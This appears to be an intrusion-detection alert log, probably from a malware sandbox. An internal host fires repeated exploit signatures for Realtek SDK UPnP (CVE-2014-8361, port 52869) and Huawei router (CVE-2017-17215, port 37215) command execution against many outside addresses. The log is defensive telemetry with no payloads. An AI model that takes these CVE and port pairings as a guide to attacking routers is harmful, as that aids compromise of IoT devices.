07/20/24-23:01:43.014738	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60576	52869	192.168.2.23	135.97.77.234
07/20/24-23:01:45.179680	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58360	52869	192.168.2.23	50.123.92.219
07/20/24-23:02:08.171169	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48478	52869	192.168.2.23	151.9.73.188
07/20/24-23:01:46.808111	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47348	52869	192.168.2.23	17.182.173.35
07/20/24-23:01:53.041672	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39352	52869	192.168.2.23	210.6.211.62
07/20/24-23:01:05.141553	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35296	52869	192.168.2.23	133.46.67.74
07/20/24-23:01:42.662837	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55922	52869	192.168.2.23	87.76.92.180
07/20/24-23:01:24.498942	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42546	52869	192.168.2.23	89.183.176.41
07/20/24-23:01:51.016560	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44112	52869	192.168.2.23	149.8.44.5
07/20/24-23:01:54.947006	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48404	52869	192.168.2.23	174.110.120.103
07/20/24-23:01:55.897722	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57438	52869	192.168.2.23	98.196.109.144
07/20/24-23:01:46.319020	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44376	52869	192.168.2.23	161.25.16.6
07/20/24-23:01:02.223897	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57776	52869	192.168.2.23	189.28.183.134
07/20/24-23:01:04.779951	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37504	52869	192.168.2.23	44.181.179.103
07/20/24-23:01:01.500174	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54970	52869	192.168.2.23	176.229.44.248
07/20/24-23:01:06.994337	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37978	37215	192.168.2.23	70.132.198.251
07/20/24-23:01:42.778303	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38944	52869	192.168.2.23	93.78.34.12
07/20/24-23:01:08.652877	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37552	52869	192.168.2.23	68.46.168.107
07/20/24-23:01:20.113254	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56802	37215	192.168.2.23	202.114.113.132
07/20/24-23:01:44.680845	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37798	52869	192.168.2.23	64.111.30.226
07/20/24-23:01:48.965786	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56564	52869	192.168.2.23	216.13.41.148
07/20/24-23:01:21.923917	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32936	37215	192.168.2.23	115.85.103.199
07/20/24-23:01:57.111220	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49062	52869	192.168.2.23	5.252.81.48
07/20/24-23:02:04.476708	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40524	52869	192.168.2.23	133.4.55.11
07/20/24-23:01:42.935667	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33366	52869	192.168.2.23	37.165.17.202
07/20/24-23:01:57.914113	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36066	52869	192.168.2.23	20.176.201.90
07/20/24-23:01:08.572197	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41398	52869	192.168.2.23	216.174.225.184
07/20/24-23:01:31.314906	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57786	52869	192.168.2.23	5.207.112.150
07/20/24-23:01:40.334933	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35134	37215	192.168.2.23	197.37.97.174
07/20/24-23:01:44.158709	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38834	52869	192.168.2.23	36.18.145.215
07/20/24-23:01:57.476832	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60580	52869	192.168.2.23	138.82.75.1
07/20/24-23:01:45.382207	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51494	52869	192.168.2.23	70.191.15.111
07/20/24-23:01:31.981855	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36682	37215	192.168.2.23	197.97.226.41
07/20/24-23:01:07.033766	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39600	37215	192.168.2.23	197.25.40.12
07/20/24-23:01:20.592479	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37526	52869	192.168.2.23	151.154.71.43
07/20/24-23:01:31.999991	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43104	37215	192.168.2.23	197.255.148.186
07/20/24-23:00:59.196993	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48984	37215	192.168.2.23	41.231.235.189
07/20/24-23:01:57.872971	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35896	52869	192.168.2.23	164.20.16.241
07/20/24-23:01:02.127340	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37594	37215	192.168.2.23	197.25.159.41
07/20/24-23:01:31.318207	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33038	52869	192.168.2.23	155.220.6.134
07/20/24-23:01:20.598095	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35054	52869	192.168.2.23	73.36.171.85
07/20/24-23:01:58.353725	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34064	52869	192.168.2.23	39.235.222.86
07/20/24-23:01:02.070492	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49084	37215	192.168.2.23	41.218.249.85
07/20/24-23:01:00.639093	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47118	37215	192.168.2.23	197.217.22.246
07/20/24-23:01:25.544921	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46024	52869	192.168.2.23	123.145.45.176
07/20/24-23:01:01.432181	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42150	52869	192.168.2.23	161.98.32.121
07/20/24-23:01:57.747300	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40012	52869	192.168.2.23	134.89.250.200
07/20/24-23:01:24.916250	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59644	37215	192.168.2.23	41.78.231.116
07/20/24-23:01:42.608320	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47468	52869	192.168.2.23	163.212.66.23
07/20/24-23:01:02.113055	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57074	37215	192.168.2.23	157.31.252.0
07/20/24-23:01:44.670958	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40520	52869	192.168.2.23	186.206.154.241
07/20/24-23:01:34.044223	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50906	37215	192.168.2.23	203.177.111.61
07/20/24-23:01:41.399866	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34108	52869	192.168.2.23	92.1.18.107
07/20/24-23:01:58.313085	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51858	52869	192.168.2.23	199.118.63.112
07/20/24-23:01:43.197088	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55986	52869	192.168.2.23	2.108.114.50
07/20/24-23:00:59.148144	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45076	37215	192.168.2.23	41.126.20.80
07/20/24-23:02:04.721025	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38956	52869	192.168.2.23	14.187.245.173
07/20/24-23:01:24.618795	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38894	52869	192.168.2.23	39.181.226.152
07/20/24-23:01:24.745266	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38978	52869	192.168.2.23	67.128.52.113
07/20/24-23:01:42.048889	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53344	52869	192.168.2.23	80.2.7.209
07/20/24-23:01:31.974580	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48674	37215	192.168.2.23	167.62.210.191
07/20/24-23:01:48.885298	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49372	52869	192.168.2.23	179.176.134.213
07/20/24-23:01:49.084300	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40496	52869	192.168.2.23	138.199.35.177
07/20/24-23:02:11.703257	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48238	52869	192.168.2.23	202.190.28.250
07/20/24-23:01:24.934977	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45260	37215	192.168.2.23	157.203.255.180
07/20/24-23:01:41.217142	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59288	52869	192.168.2.23	221.195.248.226
07/20/24-23:02:20.005310	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50682	52869	192.168.2.23	154.161.89.111
07/20/24-23:01:20.132510	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40272	37215	192.168.2.23	222.12.61.68
07/20/24-23:01:54.808195	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33692	52869	192.168.2.23	63.248.77.62
07/20/24-23:01:43.013771	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52668	52869	192.168.2.23	147.169.170.137
07/20/24-23:01:47.979559	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36320	52869	192.168.2.23	60.59.133.184
07/20/24-23:01:04.769670	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38540	52869	192.168.2.23	135.110.213.163
07/20/24-23:01:43.203681	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43904	52869	192.168.2.23	93.0.10.232
07/20/24-23:01:24.934977	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40688	37215	192.168.2.23	197.22.127.255
07/20/24-23:00:57.220817	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48860	37215	192.168.2.23	157.115.56.95
07/20/24-23:01:31.976649	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36002	37215	192.168.2.23	137.158.184.177
07/20/24-23:01:34.055714	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56810	37215	192.168.2.23	41.65.150.230
07/20/24-23:01:56.400580	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51140	52869	192.168.2.23	116.148.59.65
07/20/24-23:01:48.885298	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49894	52869	192.168.2.23	136.148.234.160
07/20/24-23:01:11.631728	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40466	37215	192.168.2.23	41.122.186.57
07/20/24-23:01:04.039128	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48384	37215	192.168.2.23	197.85.169.251
07/20/24-23:01:47.783977	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40278	52869	192.168.2.23	206.154.64.238
07/20/24-23:01:41.354322	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42528	52869	192.168.2.23	19.15.33.52
07/20/24-23:01:27.664606	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36288	37215	192.168.2.23	41.157.179.142
07/20/24-23:01:44.839991	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49784	52869	192.168.2.23	48.216.224.125
07/20/24-23:01:48.858207	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51006	52869	192.168.2.23	212.62.106.68
07/20/24-23:01:58.249114	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46940	52869	192.168.2.23	213.9.81.218
07/20/24-23:01:00.635367	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45902	37215	192.168.2.23	197.209.84.96
07/20/24-23:01:24.916250	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47154	37215	192.168.2.23	41.165.136.62
07/20/24-23:01:47.503890	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44896	52869	192.168.2.23	209.24.146.250
07/20/24-23:01:08.939279	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49680	52869	192.168.2.23	117.49.51.0
07/20/24-23:01:48.047800	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33026	52869	192.168.2.23	63.140.14.0
07/20/24-23:03:46.030378	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41142	52869	192.168.2.23	2.183.96.31
07/20/24-23:01:56.300735	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52236	52869	192.168.2.23	49.127.162.127
07/20/24-23:01:31.976795	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53580	37215	192.168.2.23	197.181.192.91
07/20/24-23:01:59.104072	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45002	52869	192.168.2.23	23.185.211.99
07/20/24-23:02:12.203120	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55958	52869	192.168.2.23	209.233.186.203
07/20/24-23:01:27.651332	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49900	37215	192.168.2.23	206.228.241.87
07/20/24-23:01:45.519802	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39112	52869	192.168.2.23	223.123.26.129
07/20/24-23:01:00.654988	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46836	37215	192.168.2.23	197.236.128.48
07/20/24-23:01:24.929013	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44842	37215	192.168.2.23	72.254.44.143
07/20/24-23:01:46.444461	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58180	52869	192.168.2.23	170.132.161.86
07/20/24-23:01:08.615260	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46546	52869	192.168.2.23	109.115.27.6
07/20/24-23:02:02.439009	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56738	52869	192.168.2.23	92.202.152.200
07/20/24-23:01:24.882291	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34656	37215	192.168.2.23	157.30.21.28
07/20/24-23:01:43.047922	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60022	52869	192.168.2.23	98.94.65.60
07/20/24-23:01:48.576250	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41576	52869	192.168.2.23	203.57.14.26
07/20/24-23:01:02.048367	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41918	37215	192.168.2.23	157.239.203.194
07/20/24-23:02:16.745304	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32840	52869	192.168.2.23	129.246.142.35
07/20/24-23:01:42.660847	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40084	52869	192.168.2.23	79.42.102.158
07/20/24-23:01:50.169961	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43394	52869	192.168.2.23	54.182.169.174
07/20/24-23:01:34.048825	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41030	37215	192.168.2.23	197.144.161.152
07/20/24-23:01:44.158709	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33618	52869	192.168.2.23	1.26.245.187
07/20/24-23:01:44.026968	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36782	52869	192.168.2.23	89.86.226.219
07/20/24-23:01:24.444696	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48644	52869	192.168.2.23	114.247.247.18
07/20/24-23:01:42.706162	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49040	52869	192.168.2.23	105.187.39.89
07/20/24-23:01:24.929013	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44336	37215	192.168.2.23	158.210.184.146
07/20/24-23:01:04.118165	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37384	37215	192.168.2.23	157.86.217.223
07/20/24-23:01:46.913205	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47070	52869	192.168.2.23	42.208.30.144
07/20/24-23:02:00.570605	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45240	52869	192.168.2.23	44.143.79.165
07/20/24-23:01:07.016889	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54644	37215	192.168.2.23	157.211.80.133
07/20/24-23:01:45.432263	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34106	52869	192.168.2.23	134.101.23.241
07/20/24-23:01:40.285038	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41800	37215	192.168.2.23	160.135.194.107
07/20/24-23:01:46.877606	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34746	52869	192.168.2.23	97.235.141.174
07/20/24-23:01:53.427882	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37342	52869	192.168.2.23	190.13.238.183
07/20/24-23:01:08.691384	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37212	52869	192.168.2.23	155.161.137.123
07/20/24-23:01:56.353592	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49216	52869	192.168.2.23	124.34.247.33
07/20/24-23:01:31.312736	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49186	52869	192.168.2.23	166.142.205.252
07/20/24-23:02:14.686790	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40436	52869	192.168.2.23	211.214.194.53
07/20/24-23:01:27.658221	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54958	37215	192.168.2.23	197.127.76.103
07/20/24-23:02:08.319876	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45580	52869	192.168.2.23	72.122.103.48
07/20/24-23:01:08.595072	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52900	52869	192.168.2.23	152.136.236.137
07/20/24-23:01:42.790558	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47720	52869	192.168.2.23	112.201.119.160
07/20/24-23:01:40.310207	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33310	37215	192.168.2.23	197.17.28.211
07/20/24-23:01:08.655109	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40878	52869	192.168.2.23	205.29.56.156
07/20/24-23:01:51.067695	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38648	52869	192.168.2.23	18.233.238.80
07/20/24-23:02:10.113046	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47232	52869	192.168.2.23	49.65.211.106
07/20/24-23:01:41.260371	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47304	52869	192.168.2.23	75.161.254.133
07/20/24-23:01:51.290014	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41124	52869	192.168.2.23	74.243.121.184
07/20/24-23:01:43.158919	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52984	52869	192.168.2.23	105.83.227.139
07/20/24-23:01:50.280308	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37410	52869	192.168.2.23	91.203.103.36
07/20/24-23:01:47.141323	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51316	52869	192.168.2.23	139.92.32.15
07/20/24-23:01:53.175676	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42312	52869	192.168.2.23	125.58.232.126
07/20/24-23:01:47.663629	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36982	52869	192.168.2.23	148.112.106.138
07/20/24-23:01:34.043842	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51620	37215	192.168.2.23	197.168.204.140
07/20/24-23:01:04.082384	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52598	37215	192.168.2.23	157.189.59.211
07/20/24-23:01:20.152427	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44034	37215	192.168.2.23	197.250.222.179
07/20/24-23:01:42.501090	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35970	52869	192.168.2.23	18.13.209.238
07/20/24-23:02:14.650164	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35728	52869	192.168.2.23	159.226.32.12
07/20/24-23:01:08.597662	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50536	52869	192.168.2.23	98.176.193.82
07/20/24-23:01:20.119973	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53292	37215	192.168.2.23	157.0.250.177
07/20/24-23:01:54.880741	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52238	52869	192.168.2.23	167.225.20.24
07/20/24-23:01:40.331150	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36904	37215	192.168.2.23	197.185.185.234
07/20/24-23:01:43.239928	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46322	52869	192.168.2.23	57.189.118.114
07/20/24-23:00:59.153608	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33028	37215	192.168.2.23	197.218.184.30
07/20/24-23:01:27.664887	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38260	37215	192.168.2.23	197.148.184.251
07/20/24-23:02:11.630112	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50674	52869	192.168.2.23	142.204.114.80
07/20/24-23:01:42.486621	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33156	52869	192.168.2.23	52.64.207.91
07/20/24-23:01:54.796749	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37158	52869	192.168.2.23	180.65.88.44
07/20/24-23:01:41.217142	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33120	52869	192.168.2.23	1.26.245.187
07/20/24-23:01:00.641498	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59564	37215	192.168.2.23	157.198.81.69
07/20/24-23:01:41.496780	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49224	52869	192.168.2.23	59.110.210.1
07/20/24-23:01:42.687128	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38254	52869	192.168.2.23	69.23.248.153
07/20/24-23:01:27.655551	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37006	37215	192.168.2.23	36.6.60.249
07/20/24-23:02:10.069241	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37284	52869	192.168.2.23	152.191.160.62
07/20/24-23:01:08.614193	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40086	52869	192.168.2.23	162.220.3.30
07/20/24-23:01:27.649697	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58516	37215	192.168.2.23	197.163.104.51
07/20/24-23:01:10.675827	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40854	52869	192.168.2.23	217.106.167.57
